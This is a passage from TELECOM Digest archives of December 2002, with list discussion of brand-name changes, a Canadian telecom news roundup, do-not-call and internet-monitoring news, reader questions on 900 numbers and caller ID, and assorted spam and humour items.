chassis, panels, knobs, and trim were > obviously stamped from the same dies. That will come as a big surprise to the GE engineers, a few miles from me here in Louisville, who work hard to differentiate their appliances from those of Whirlpool and others. ------------------------------ From: Barry Margolin Subject: Re: National Branding Organization: Genuity, Woburn, MA Date: Fri, 20 Dec 2002 15:34:52 GMT In article , John Higdon wrote: > In article , Barry Margolin > wrote: >> The new management that takes over after a merger or acquisition. >> Aren't most of the examples of brand name changes that you gave a >> result of such activity? > I don't care who is responsible. It is still a mistake to muck with the > brand name if ""national branding"" is important. Maybe they think the new brand is better than the old one. How can they emphasize their integration if they have to keep using the old brand? > I have sold companies before, and I have watched the new owners > literally toss the company's reputation and indentity into the garbage. > I had to wonder why they bothered to buy the company. Because the name isn't the only asset that a company has. They bought it for its customer base, employees, technology, etc. >> I don't know where you got the idea that name changes are spontaneous >> or capricious. They're a consequence of other changes in the >> business, primarily mergers and acquisitions. > The decision to change a name requires an affirmative action by the > board. But it's not the *same* board that decided to start a national branding campaign many years before the takeover. When Ted Turner ran his own media empire, he went around naming everything he could Turner This and Turner That. When he sold out to Time Warner, he no longer had the control of the board that allowed him this freedom. > All you are telling me is that leadership changes at a company. Well, > duh! My unrefuted assertion is that someone (or a board of directors) > must take affirmative steps to change the name of a company. Why would > they do that (be they grandsons or hostile purchasers) when it dilutes > and nullifies the national name recognition? Because they want the public to recognize that this is the ""new and improved"" company, not the same old one. Or sometimes the new company that results from the mergers has different goals than the old one, and the old name doesn't fit. For instance, I've noticed over the years that lots of public utility companies would branch out into other industries, and then the old name no longer describes them well. When XXX Electric is no longer solely in the electric power business, but is a holding company for many different types of businesses, a name change is appropriate; some companies simply adopted their initials (e.g. I think Wiscon Electric Power became WEP Holdings), while others go for a coined name that doesn't pigeonhole them (Boston Edison became NSTAR and Boston Gas became Keyspan Energy). Barry Margolin, barmar@genuity.net Genuity, Woburn, MA *** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups. Please DON'T copy followups to me -- I'll assume it wasn't posted to the group. ------------------------------ Date: Fri, 20 Dec 2002 05:21:52 -0500 From: Ron Chapman Subject: Re: The Farce of National Branding In article , John Higdon wrote: > I'll survive. Believe me, my fulfillment as a functional human being > and as a player in my chosen field of endeavor has long since ceased > to be dependent on the attitudes and belief systems of Usenet > posters. You'll know what I mean after you have been posting for > fifteen years or so. I have been posting for fifteen years or so. More, actually. And that your fulfillment as a human being is not dependent on ""Usenet posters"" doesn't mean that you're not wrong. You did put forth your case in the court of public opinion, and you failed -- miserably -- to make that case. ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: SBC Name - was Re: The Farce of National Branding Date: Fri, 20 Dec 2002 13:27:39 -0000 Organization: JustThe.net LLC John Higdon wrote: > SBC will have to figure out how to cash my checks made out to ""Pacific > Bell"" in perpetuity. I have a long-standing practice of refusing to > regularly change the name on checks made out to vendors. Pager checks > are still made out to ""AirTouch""; telephone service checks are still > made out to GTE; wireless checks are still made out to ""PacBell Mobile > Services"" instead of ""Cingular"". The bank will cash them anyway. Even if you make the check payable to, say, Richard Notebaert, they'll probably still cash the check. And Notebaert isn't even *with* SBC anymore. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. 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End of TELECOM Digest V22 #201 ****************************** >From editor@telecom-digest.org Fri Dec 20 16:31:58 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBKLVwo07581; Fri, 20 Dec 2002 16:31:58 -0500 (EST) Date: Fri, 20 Dec 2002 16:31:58 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212202131.gBKLVwo07581@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #202 TELECOM Digest Fri, 20 Dec 2002 16:32:00 EST Volume 22 : Issue 202 Inside This Issue: Editor: Patrick A. Townson Telecom Update (Canada) #363, December 20, 2002 (Angus TeleManagement) Re: Are All 900 Number Providers Hype Artists? (J Bass) How Do You INSERT CID (Jim Thompson) Re: Query About Pulse Dialing (David Christensen) Error Accessing Your Website (Kathy Bradley) Re: Ground Start Lines (Owain) We Had Better Cool it a Little (TELECOM Digest Editor) Last Laugh! A Lesson in Modern Electronics (Jeffrey Mattox) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Fri, 20 Dec 2002 11:43:51 -0500 From: Angus TeleManagement Subject: Telecom Update (Canada) #363, December 20, 2002 ************************************************************ TELECOM UPDATE ************************************************************ published weekly by Angus TeleManagement Group http://www.angustel.ca Number 363: December 20, 2002 Publication of Telecom Update is made possible by generous financial support from: ** BELL CANADA: http://www.bell.ca ** CISCO SYSTEMS CANADA: http://www.cisco.com/ca/letstalk ** CYGCOM INTEGRATED TECHNOLOGIES: http://www.cygcom.com ** ERICSSON CANADA: http://www.ericsson.ca ** JUNIPER NETWORKS: http://www.juniper.net ** PRIMUS CANADA: http://www.primustel.ca ** Q9 NETWORKS: http://www.Q9.com ** TELUS: http://www.telus.com ************************************************************ IN THIS ISSUE: ** CRTC Posts Report on Canadian Telecom ** We're Taking a Holiday ** Newfoundland Bans Handset Use While Driving ** BCE to Cut 1,700 More Jobs ** Telus Forecasts Increased Sales, Profits ** Court Rejects Ledcor Appeal ** Videotron Buys Ontario Fibre ** Bell Absorbs Aliant Network Groups ** Rural Broadband Selection Committee Named ** City Wants 613 Overlay Decision Revisited ** Ted Rogers Succession Set? ** Telus to Trial iMagic Software ** Internet TV Law in Force ** ExpressVu Says Cablecos Have Theft Problem Too ** Ontario Research Network to Use Bell Fibre ** CANARIE Funds Distance Learning Development ** Bell Offers Wireless Location-Based Services ** CAIP Merges With CATA ** President of Broadband User Group Resigns ** Canadian Satellite Launch Set ** RIM Posts $92 Million Loss ** GT Changes Win Creditor Support ** Shaw Rating Cut to Junk Status ** Com Dev Back in the Black ** Meriton Raises $26 Million ** The Hidden Costs of IP Telephony ============================================================ CRTC POSTS REPORT ON CANADIAN TELECOM: As this issue went to press, the CRTC released its second annual report to Cabinet on Canada's Telecommunications Industry. The full report is available at: http://www.crtc.gc.ca/eng/publications/reports/PolicyMonitoring/2002/gic2002.pdf ============================================================ WE'RE TAKING A HOLIDAY: Telecom Update is taking a winter break; our next issue will be published Monday, January 6. We wish all readers a successful and rewarding New Year. NEWFOUNDLAND BANS HANDSET USE WHILE DRIVING: Newfoundland has adopted Canada's first law banning the use of handheld cellphones while driving. Offenders will lose demerit points and pay a fine of $45-$180. BCE TO CUT 1,700 MORE JOBS: In 2003, BCE Inc. will cut capital spending by 10%-15% and eliminate about 1,700 jobs in 2003. At the company's annual investor conference, BCE executives forecast revenue of $19.5 billion in the next year. ** CEO Michael Sabia said that CTV and the Globe and Mail are not strategic assets, but did not suggest any plan to sell them soon. ** Separately, Bell announced that it is in discussions regarding possible divestiture of some or all of its investment in CGI Group. TELUS FORECASTS INCREASED SALES, PROFITS: Telus Corp. says a workforce reduction of 5,000 by year-end will contribute to an increase in EBITDA of 8% to 12% and a return to profitability in 2003. Sales are expected to rise 3%-4%; capital expenditures will be reduced 12%. COURT REJECTS LEDCOR APPEAL: In a 2-1 decision, the Federal Court of Appeal has dismissed the appeal by the Federation of Canadian Municipalities and several cities against CRTC Decision 2001-23, the ""Ledcor Decision."" The Court rejected FCM's argument that the CRTC exceeded its jurisdiction when it restricted the municipalities' ability to charge carriers for using rights-of-way. (See Telecom Update #354) VIDEOTRON BUYS ONTARIO FIBRE: Videotron Telecom has purchased 1,200 km of dark fibre in Ontario from 360networks, including routes from Ottawa to Toronto, Toronto to Buffalo, and Toronto to Detroit. (See Telecom Update #326) BELL ABSORBS ALIANT NETWORK GROUPS: 130 management employees in Aliant's technology development and network planning/ provisioning functions are being transferred to Bell Canada, as part of a plan to unify the two companies' network operations. RURAL BROADBAND SELECTION COMMITTEE NAMED: Industry Minister Allan Rock has announced the members of the National Selection Committee for the Broadband for Rural and Northern Development pilot program (see Telecom Update #348). Names and biographies of the committee members and a list of all 223 applications for the Round 1 competition are posted on the Industry Canada website. http://broadband.gc.ca/applications/applist_e.asp CITY WANTS 613 OVERLAY DECISION REVISITED: The City of Ottawa says it supports the proposal to delay introduction of 10- digit local dialing in 613 until 2006, and to indefinitely postpone an Area Code overlay. The City's lawyers say that it wants to revisit the overlay decision in future, because ""there may be some advantage ... in adopting a geographical split."" TED ROGERS SUCCESSION SET? Rogers Cable CEO John Tory has been named Chairman of the company, replacing Ted Rogers. Edward Rogers, son of Ted, has been named President and COO. TELUS TO TRIAL IMAGIC SOFTWARE: iMagicTV is supplying its Media Manager 5.0 software to Telus for a trial of digital TV service delivery over phone lines. INTERNET TV LAW IN FORCE: Bill C-11, an ""Act to Amend the Copyright Act,"" is now law. The amendment prevents ""Internet retransmitters"" of TV programs from holding the compulsory licences that permit cable and satellite broadcasters to use TV programs for a fixed royalty -- they must negotiate their own agreements with copyright holders. http://www.parl.gc.ca/37/2/parlbus/chambus/house/bills/government/C-11/C-11_4/90174bE.html EXPRESSVU SAYS CABLECOS HAVE THEFT PROBLEM TOO: Bell ExpressVu has released a study by Pathlink Engineering claiming that Canadian cable companies lose over $400 million each year due to unauthorized use of cable broadcasts. The cablecos earlier accused ExpressVu of being too lax in policing signal theft. (See Telecom Update #359) http://www.bell.ca/shop/en/jsp/content/aboutbell/expressvu/newsreleases/pdfdocs/pathlink.pdf ONTARIO RESEARCH NETWORK TO USE BELL FIBRE: The Optical Regional Advanced Network of Ontario (ORANO) has granted Bell Canada a $25 million contract to supply fibre and equipment for a research network linking about 100 educational institutions and research facilities in 21 communities. (See Telecom Update #316) http://www.orion.on.ca CANARIE FUNDS DISTANCE LEARNING DEVELOPMENT: CANARIE has awarded $1.56 million to the Advanced Broadband Enabled Learning project, which aims to help teachers learn to use broadband networks as teaching tools. http://www.abelearn.ca BELL OFFERS WIRELESS LOCATION-BASED SERVICES: Bell Mobility subscribers in Ontario and Quebec can now obtain directions and other location-based services from MyFinder, which locates the user's closest cellphone tower. Price: 25 cents per request plus airtime charges. CAIP MERGES WITH CATA: The Canadian Association of Internet Providers is merging with the Canadian Advanced Technology Alliance. CAIP will continue to have its own Board of Directors. PRESIDENT OF BROADBAND USER GROUP RESIGNS: Chris Weisdorf, founder of the Residential Broadband Users' Association, has resigned as President of the volunteer group. RBUA's advocacy efforts are unlikely to continue. (See Telecom Update #276, 335) CANADIAN SATELLITE LAUNCH SET: Telesat's Nimiq 3 satellite is scheduled for launch from Kazakhstan on December 30. Bell ExpressVu has booked the satellite's entire capacity for high-definition television, pay-per-view programming, and other services. RIM POSTS $92 MILLION LOSS: Research In Motion lost US$92 million in the three months ended November 30, compared to a $6 million loss last year. One-time charges totaled $72 million, including $28 million for legal costs and damages. Revenue of $34.5 million was up 3% from the previous quarter and 30% from the same period last year. GT CHANGES WIN CREDITOR SUPPORT: More than 95% of Group Telecom creditors have backed the reorganization plan providing for GT's purchase by 360networks. GT will seek court approval in Ontario on December 23, and in the U.S. on January 2. SHAW RATING CUT TO JUNK STATUS: Moody's Investors Service has lowered its rating on Shaw Communications unsecured debt by two steps to Ba2 -- ""junk"" status. The agency says Shaw has too much debt and faces stiff competition. COM DEV BACK IN THE BLACK: Com Dev International, a satellite technology supplier, recorded August-October net income of $748,000, compared to a loss of $89 million during the same period last year. Revenue was $25.2 million, down from $32.6 million. (See Telecom Update #347) MERITON RAISES $26 MILLION: Ottawa-based Meriton Networks, which makes combined switching/transmission gear for metro optical networks, has raised C$26.4 million in equity and debt financing. THE HIDDEN COSTS OF IP TELEPHONY: When McGill University looked at IP telephony, it found that the cost of preparing for a voice-data network would be much greater than anyone expected. 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PAT] I guess this isn't turning out to be as easy as first imagined. J. Bass On Tue, 17 Dec 2002 00:21:43 GMT, nobleGOODDOGgeorges@earthlink.net (J Bass) wrote: > Folks, > Are there any legitimate 900 number providers? > Who are they? > A google search turned up droves of outfits with hucksteresque > pitches. > Everyone in the legitimate telecommunication industry seems to claim > no knowledge of 900 numbers, as if it was an irreparably tainted > topic. > Where do software companies go, for example, when they are setting up > 900 tech support lines, etc? Remove GOODDOG to reply ------------------------------ From: Jim Thompson Subject: How Do You INSERT CID Date: Fri, 20 Dec 2002 16:35:52 GMT Organization: Cox Communications I'd like to ring phones inside my house but also send caller-ID. I'm an EE, so it'd be no problem to build up something, but surfing has yielded zero. Any ideas? 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Ed Ellers wrote: > John Higdon wrote: >> Pulse dialing is rarely used in the US. > More often than you might think ... especially by people who *do* have > Touch-Tone provisioned on their line but don't realize that they need > to change a switch setting on their phone to use it. ------------------------------ Date: Fri, 20 Dec 2002 12:08:13 EST From: Kathy Bradley Reply-To: Kathy Bradley Subject: Error Accessing Your Website On Fri Dec 20, 2002 at 07:08:08 AM EST I was unable to reach your web site: http://mirror.lcs.mit.edu/telecom-archives/sponsorlinks.html due to the following error: Host Not Found As of Fri Dec 20, 2002 at 12:11:27 PM EST I am able to access your web site again. I work for InternetSeer, a Web site monitoring company. InternetSeer is conducting an ongoing study of web connectivity. As recommended by the Robots Guidelines, this email is being sent to explain our research activities and to let you know about the difficulty in connecting to your site. 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It *seems* like a good offer, but I had to pull it out of my own spam bucket when it arrived here. I am wondering if this is going to get me a bunch more spam if I agree to their service? Anyone? PAT] ------------------------------ From: spuorgelgoog@gowanhill.com (Owain) Subject: Re: Ground Start Lines Date: 20 Dec 2002 11:52:14 -0800 Organization: http://groups.google.com/ Neal McLain wrote: > lots of mid-sized mid-priced hotels/motels don't have enough trunks to > satisfy peak evening calling load. The Holiday Inn Express in LaPorte > Indiana stands out in mind as the worst offender I've ever > encountered. Maybe La Porte has declined telephonically since 1892 :-) Owain ------------------------------ Date: Fri, 20 Dec 2002 15:24:53 EST From: TELECOM Digest Editor Subject: We Had Better Cool it a Little To the group: We (in an editorial sense, meaning I, the buffer of all messages here in this department) have started getting complaints about the quality and enduring significance as my competitor, Readers Digest would say, of the messages printed here. To wit, the 'branding thread' is starting to get on some people's nerves. Names are not neccessary; they don't matter: Subject: Please step in, Pat X-Spam-Status: No, hits=-3.3 required=5.0 tests=REFERENCES,RESENT_TO,SPAM_PHRASE_00_01, USER_AGENT_MOZILLA_XM,X_ACCEPT_LANG version=2.41 X-Spam-Level: Status: R Pat: I'm sure you have standards and rules you operate the list within, and perhaps the current situation is within those rules, but things are getting out of hand. John Higdon and his band of merry ""I'm smarter than you"" men are destroying the value of the list, in this reader's opinion. It is declining from a source of good information to stupid infighting between so called 'intellectuals'. How about telling them to take the silliness private? I would prefer to read the list, in the limited time I have available, and glean mostly telecom related information, not a bunch of grown up 'kids' slinging mud back and forth. I notice, for the record, that Higdon and several others rarely offer anything constructive, just the childishness that is SO much more obvious in this 'branding' thread. ========================= [TELECOM Digest Editor's Reaction: Sitting here with mouth open, a little embarrassed to have to mention it ... but golly gee, guys, why not move anything further on the 'branding thread' over to email, if you can get through all the spam congestion and blocks these days to pass your messages, or maybe to Yahoo or AOL Instant Messengers, where, once you get through the obligitory 'm or f? how old?' questions (and in more recent times the request to check out the other guy's 'cam' [if the first two questions are answered in a pleasing way; otherswise why bother]), you can get back to the branding thread, or whatever else you decide to discuss -- as long as you have cams available so you can give visual illustrations of your intentions and interests. PAT] [TELECOM Digest Editor's Note: Did you ever see me talk to myself before like this? Instead of a harsh warning to evict the no-good useless members of this list, I decided in the spirit of Xmas to try and keep the X in Xmas this time around. Some moderators would simply bounce the offenders and wash their hands of it; I need all the readers I can find. :( PAT] ------------------------------ Date: Fri, 20 Dec 2002 12:37:09 -0600 From: Jeffrey Mattox Subject: Last Laugh! A Lesson in Modern Electronics Pat: I figure you're well aware of this, but it wasn't mentioned in the recent discussion about telephone ring circuits and grounding -- maybe you need a trigger to publish it again. According to Google, it's on the web at various places, one being: http://www.aljian.com/humorphile/humorphile/problem-solving.html --- cut here --- Subject: A lesson in modern electronics This story was related by Pat Routledge of Winnipeg, Ontario about a repair call he handled while living in England. It's common practice in England to ring a telephone by signaling extra voltage across one side of the two wire circuit and ground (earth in England). When the subscriber answers the phone, it switches to the two wire circuit for the conversation. This method allows two parties on the same line to be signaled without disturbing each other. Anyway, an elderly lady with several pets called to say that her telephone failed to ring when her friends called; and that on the few occasions when it did ring her dog always barked first. Pat proceeded to the scene, curious to see this psychic dog. He climbed a nearby telephone pole, hooked in his test set, and dialed the subscriber's house. The phone didn't ring. He tried again. The dog barked loudly, followed by a ringing telephone. Climbing down from the pole, Pat found: a. A dog was tied to the telephone system's ground post via an iron chain and collar. b. The dog was receiving 90 volts of signaling current. c. After several such jolts, the dog would start barking and urinating on the ground. d. The wet ground now completed the circuit and the phone would ring. Which shows that you that some problems can be fixed by just pissing on them. --- end --- [TELECOM Digest Editor's Note: This *old* story was first printed here in the Digest back about 1983 or so ... then a few more times over the years until around 1990 or so when I retired it from use for what I felt were good reasons: (a) I did not -- still don't -- think it is funny. It sounds 'cute', but really isn't. (b) It is cruel to keep animals chained up all the time. Animals do need to make some compromises with their human custodians, for example being spayed or neutered, and shortly after those medical procedures are finished, they don't miss those 'parts' anyway. (c) I've seen too many examples of animals being tortured on purpose or by omission, left tied up in a cold, wet, or very hot area with little or nothing to eat or drink. About fifteen years ago I found a grown dog, mostly skin and bones, who had been tied up in a mostly deserted basement with no food and very little water left for it. After I got over the shock of seeing that, I immediatly called the animal control officer who came out and took the little guy away, to the Animal Society in Chicago. Some people should not be allowed to have animals, if they do not know how to care for them. When animal control took the chain 'leash' off the dog, the animal immediatly licked our hands trying to say how glad he was to be resuced. Aljian/humorphile probably got this from an old issue of the Digest, and they are welcome to it. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. 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End of TELECOM Digest V22 #202 ****************************** >From editor@telecom-digest.org Fri Dec 20 23:57:09 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBL4v9i16080; Fri, 20 Dec 2002 23:57:09 -0500 (EST) Date: Fri, 20 Dec 2002 23:57:09 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212210457.gBL4v9i16080@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #203 TELECOM Digest Fri, 20 Dec 2002 23:57:00 EST Volume 22 : Issue 203 Inside This Issue: Editor: Patrick A. Townson Bush Administration to Propose System to Monitor Internet (Monty Solomon) What Do Intellectual Property Owners Want? (Monty Solomon) Mass. Officials Set Rules For State's No-Call List (Monty Solomon) Bay State Residents Can Register to Block Sales Calls (Monty Solomon) Re: Query About Pulse Dialing (Ed Ellers) Re: Error Accessing Your Website (Barry Margolin) Re: Are All 900 Number Providers Hype Artists? (John Higdon) Removing Passwords and Security From Access Databases (prong2099@hotmail) SBC Ameritech Hosed Me and NOW I GET EVEN (A. Hackbarth) Re: Call Blocking Box For All Numbers From a Given Country? (Alex Kasper) Re: Ground-Start Lines (was Coin Collect and Return) (Alex Kasper) Re: Last Laugh! A Lesson in Modern Electronics (Someone) *****SPAM***** Season's Best -- Another Last Laugh! (Joey Lindstrom) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Fri, 20 Dec 2002 17:16:44 -0500 From: Monty Solomon Subject: Bush Administration to Propose System to Monitor Internet By JOHN MARKOFF and JOHN SCHWARTZ The Bush administration is planning to propose requiring Internet service providers to help build a centralized system to enable broad monitoring of the Internet and, potentially, surveillance of its users. The proposal is part of a final version of a report, ""The National Strategy to Secure Cyberspace,"" set for release early next year, according to several people who have been briefed on the report. It is a component of the effort to increase national security after the Sept. 11 attacks. The President's Critical Infrastructure Protection Board is preparing the report, and it is intended to create public and private cooperation to regulate and defend the national computer networks, not only from everyday hazards like viruses but also from terrorist attack. Ultimately the report is intended to provide an Internet strategy for the new Department of Homeland Security. Such a proposal, which would be subject to Congressional and regulatory approval, would be a technical challenge because the Internet has thousands of independent service providers, from garage operations to giant corporations like American Online, AT&T, Microsoft and Worldcom. The report does not detail specific operational requirements, locations for the centralized system or costs, people who were briefed on the document said. http://www.nytimes.com/2002/12/20/technology/20MONI.html [TELECOM Digest Editor's Note: Is it true that Dubya has been quoted as saying 'thank God for September 11 ... it gave me all the excuses to do the things I have longed to do for years.' ? PAT] ------------------------------ Date: Fri, 20 Dec 2002 17:49:56 -0500 From: Monty Solomon Subject: What Do Intellectual Property Owners Want? by Andy Oram American Reporter Correspondent CAMBRIDGE, MASS.-Researchers around the world were stunned. A promising young graduate student, Dmitri Sklyarov, came to the United States to deliver his insights about weaknesses in a commercial product to a well-known computing conference. A few hours after his presentation, he was in jail. I don't want to belabor this case because it has already been aired in the press a great deal, particularly since last Tuesday's startling ruling in favor of the Sklyarov's employer, ElcomSoft, by a jury that was clearly repulsed by the idea of punishing people who make software with legitimate uses. But Sklyarov and ElcomSoft start off this article because his arrest marked a milestone in modern life-a fulfillment of the old prediction that computer hackers used to utter as a joke: ""Write a program, go to jail."" It's still scandalous that Sklyarov spent time in jail for his non-crime. Sklyarov suffered all this for working on a software product that was perfectly legal in his own country, Russia, but was called a violation of the Digital Millennium Copyright Act in the United States. This software allowed people using the popular Adobe eBook software-so long as they had a legitimate license to the software-to make copies of documents. The Russian software had many legitimate applications under the ""fair use"" doctrine, but could also be used to make unauthorized copies-and that brought down the vindictive hand of the U.S. Justice Department, which insisted on bringing the case to trial even after Adobe dropped their charges. Nor was Sklyarov alone. A fifteen-year-old Norwegian, Jon Johansen, was briefly arrested on flimsy charges related to his supposed role in creating DeCSS software, a program that retrieves movies from their encrypted format on DVD. Johansen's case was in court last week, but I have not heard any news of the outcome. Many others have been sued for similar causes, although they have not faced criminal proceedings. http://www.praxagora.com/andyo/ar/ip_owners.html ------------------------------ Date: Fri, 20 Dec 2002 18:00:21 -0500 From: Monty Solomon Subject: Mass. Officials set rules for state's no-call list By Associated Press, 12/20/2002 State consumer officials announced details yesterday about what steps residents will have to take to sign on to Massachusetts' new 'Do Not Call' law beginning Jan. 1. Residents who want to block most calls from telemarketers will be able to sign up on a Web site, call a toll-free number, or submit a request by mail. Those who want to be included on the first list, which will go into effect April 1, must register by March 1. The list will be updated every quarter. The state Office of Consumer Affairs and Business Regulation expects to handle up to 1 million registrations in the first month, according to its director, Jennifer Davis Carey. http://www.boston.com/dailyglobe2/354/metro/Officials_set_rules_for_state_s_no_call_list+.shtml ------------------------------ Date: Fri, 20 Dec 2002 18:40:52 -0500 From: Monty Solomon Subject: Bay State Residents in January can Register to Block Sales Calls By Bruce Mohl, Globe Staff, 12/20/2002 Massachusetts consumers seeking to block unwanted telemarketing calls suddenly have a lot more ammunition at their disposal. State officials yesterday detailed how Massachusetts residents can sign up for a do-not-call list starting Jan. 1, a day after the Federal Trade Commission announced plans to launch a similar national list in the spring. By signing up for both lists, state and federal officials say consumers should be able to significantly reduce -- but not eliminate -- the number of telemarketing calls they receive at home. Massachusetts officials expect a huge response. http://www.boston.com/dailyglobe2/354/business/Bay_State_residents_in_Jan_can_register_to_block_sales_calls+.shtml ------------------------------ From: Ed Ellers Subject: Re: Query About Pulse Dialing Date: Fri, 20 Dec 2002 16:44:13 -0500 Hank Fung wrote: > Aren't there still some phone companies that charge for the ""privilege"" of > using touch tone dialing (or ""touch calling"" as it was called by GTE)? BellSouth in Kentucky gives a $1/month credit to those who already had lines without Touch-Tone service, but new lines aren't available without Touch-Tone AFAIK. > What usually happens is that these cheapskates will then switch the phone > to tone when they need to access a voice mail or interactive response > system. Be careful what you say about my mother. :-) ------------------------------ From: Barry Margolin Subject: Re: Error Accessing Your Website Organization: Genuity, Woburn, MA Date: Fri, 20 Dec 2002 21:52:10 GMT In article , Kathy Bradley wrote: > InternetSeer is the largest FREE web site monitoring company in the > world. We provide free web site monitoring to over 1 million users > worldwide. We'll monitor your web site 7 days a week, 24 hours a day - > for free. I am a robot. > [TELECOM Digest Editor's Note: Does anyone know anything about these > people? It *seems* like a good offer, but I had to pull it out of my > own spam bucket when it arrived here. I am wondering if this is going > to get me a bunch more spam if I agree to their service? Anyone? PAT] I don't know anything about them, but I think the old adage applies: if it seems too good to be true, it probably is. They need to make money somehow, and since they spammed you in the first place that seems like an important part of their business model. A new adage probably also applies: don't ever respond to spammers. BTW, I'll bet if you check your spam bucket, you'll find multiple instances of the mail, despite the fact that it says it's a one-time mailing. Barry Margolin, barmar@genuity.net Genuity, Woburn, MA *** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups. Please DON'T copy followups to me -- I'll assume it wasn't posted to the group. ------------------------------ From: John Higdon Subject: Re: Are All 900 Number Providers Hype Artists? Organization: Green Hills and Cows Date: Fri, 20 Dec 2002 14:49:23 -0800 In article , nobleGOODDOGgeorges@earthlink.net (J Bass) wrote: >>> [TELECOM Digest Editor's Note: Would you please provide some contact >>> names and phone numbers for the people at the IXCs who offer 900 >>> number service? As the man said in the original message, everyone >>> *he* has spoken to denies any knowledge of them. How about some >>> actual contact names and numbers? PAT] > I guess this isn't turning out to be as easy as first imagined. Indeed. I found the names and numbers of all the folks I talked to in setting up our 900-number trunks, but NONE of them are still there! In fact, most of the contact numbers are now out of service. But still ... if you press the issue, you can finally end up talking to someone in a given company's 900 division. For instance, call any SBC business office and ask for the number of the ""976/900 department"" for the area in which you are interested. I have some qualifying questions for you: 1. What is the nature of your service? (Recorded information, live assistance, etc.)? 2. What sort of call volume do you expect? 3. What is the geographical scope of your audience? 4. What is the magnitude of the charging you expect to impose? 5. How do you intend to advertise? (Media, number in instruction manual, etc.) 6. Where (what city) do you intend to physically house the equipment? Answers to those questions would go a long way toward being able to make some really concrete suggestions regarding your ultimate service provider choice and whether you would be a candidate for station-side or trunk-side connections. If you feel inclined to answer these questions, please do so in email. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: prong2099@hotmail.com Subject: Re: Removing passwords and security from Access databases 73650 Reply-To: prong2099@hotmail.com Date: Fri, 20 Dec 2002 23:16:14 GMT Organization: MTS Internet Remove Access Security 3.0 Released 'Remove Access Security' can reveal and remove passwords and security settings from Access databases. It is the only product to work on both non-encrypted and encrypted databases. E-Tech offers a 100% money-back guarantee if the product does not remove security settings from your database. For more information visit : http://www.e-tech.ca Remove Access Security 3.0' is the ultimate tool concerning security for Access databases. 'Remove Access Security' can reveal passwords, reset passwords and remove user-level security for secured and non-secured database (.MDB) files. This software is simple to use, and can be a real life-saver in a variety of situations, including corrupted passwords, corrupted workgroup files, forgotten passwords etc. This is the first software ever developed which works with encrypted databases. 'Remove Access Security' is a must-have for all database administrators and power users. For more information visit : http://www.e-tech.ca ------------------------------ From: betaphihack@hotmail.com (A. Hackbarth) Subject: SBC Ameritech Hosed Me and Now I Get Even Date: 20 Dec 2002 17:35:37 -0800 Organization: http://groups.google.com/ Hi, Because of the way that SBC Ameritech has ignored me I have now made it my business to put Ameritech out of its ... You may Laugh, but I assure you that I can, and will cause a loss of SBC Ameritech's Revenue ... with this lost revenue I intend to finally pay them the money I don't owe them ... Read my letter I sent to them and you will see the satisfaction that will bring. You see I am an Independent Representative for North America's Largest Privately Held Telecom Company ...and with that comes the leverage of multi million dollar telecommunications contracts. I offer all Americans the chance to start a Revolution ... there are many others who have been wronged by Verizon, Southbell, Pacificbell SBC and Ameritech. Now I can show you how to get paid, save your customers $$$ and get even at the same time. Now all Ameritech customers are eligible to become my customer. And since my service is cheaper and has more benefits it will be no problem to get people to try it for Free. If you want to sign up for service or read my story you can go to my website: http://www.aaronhackbarth.com If you work for SBC Ameritech its not your fault, its the way your business model works. Deregulation is Democracy Vote out Ameritech NOW!! Sincerely, Aaron Hackbarth P.S. Carrot top Is F*CK*NG annoying, and by using AT$T you pay for him to annoy millions of TV viewers every day. DO NOT pay him, and save money for yourself, that's what I offer. If you don't Like Me there's a special link on my site for you especially if you like Ameritech. [TELECOM Digest Editor's Note: Listen, Aaron, I'd like to help you out, but I am 